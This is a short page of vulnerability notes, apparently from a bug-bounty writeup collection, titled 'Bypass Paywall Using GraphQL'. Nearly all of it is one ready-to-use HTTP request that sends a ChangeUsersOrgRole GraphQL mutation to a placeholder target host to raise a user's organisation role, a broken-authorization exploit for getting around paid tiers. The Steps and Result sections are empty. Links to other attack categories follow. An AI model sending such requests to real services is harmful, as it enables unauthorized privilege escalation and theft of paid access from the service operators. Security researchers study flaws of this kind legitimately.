VULNERABILITIES, REPORTS AND EXPLOITS
Bypass Paywall Using GraphQL
Steps:
Example Request:
POST /t/graphql/org/{your-orgID}?q=ChangeUsersOrgRole HTTP/2
Host: app.target.com
Cookie: <your-cookie>
User-Agent: <your-user-agent>
Referer: https://app.target.com/analytics/sallam/settings/users/joined
Content-Type: application/json
X-Org: 315336
Content-Length: 557
Origin: https://app.target.com
{
"query": "mutation ChangeUsersOrgRole($loginIds: [ID!]!, $orgRole: Int!) {\n changeUsersOrgRole(loginIds: $loginIds, orgRole: $orgRole) {\n ...userFields\n __typename\n }\n}\n\nfragment userFields on User {\n id\n alias\n avatarVersion\n blurb\n createdAt\n defaultAllProjectRole\n defaultAppId\n email\n firstName\n fullName\n hasAvatar\n hasOutstandingInvite\n isConnectedToSlack\n lastName\n loginId\n name\n orgRole\n orgTeam\n title\n pronouns\n __typename\n}\n",
"variables": {
"loginIds": ["sallam@cyberar.net"],
"orgRole": 1
}
}Result:


Denial of Service (DoS)
Broken Authorization
Information Disclosure
Injection
Cross-Site Request Forgery (CSRF)
Last updated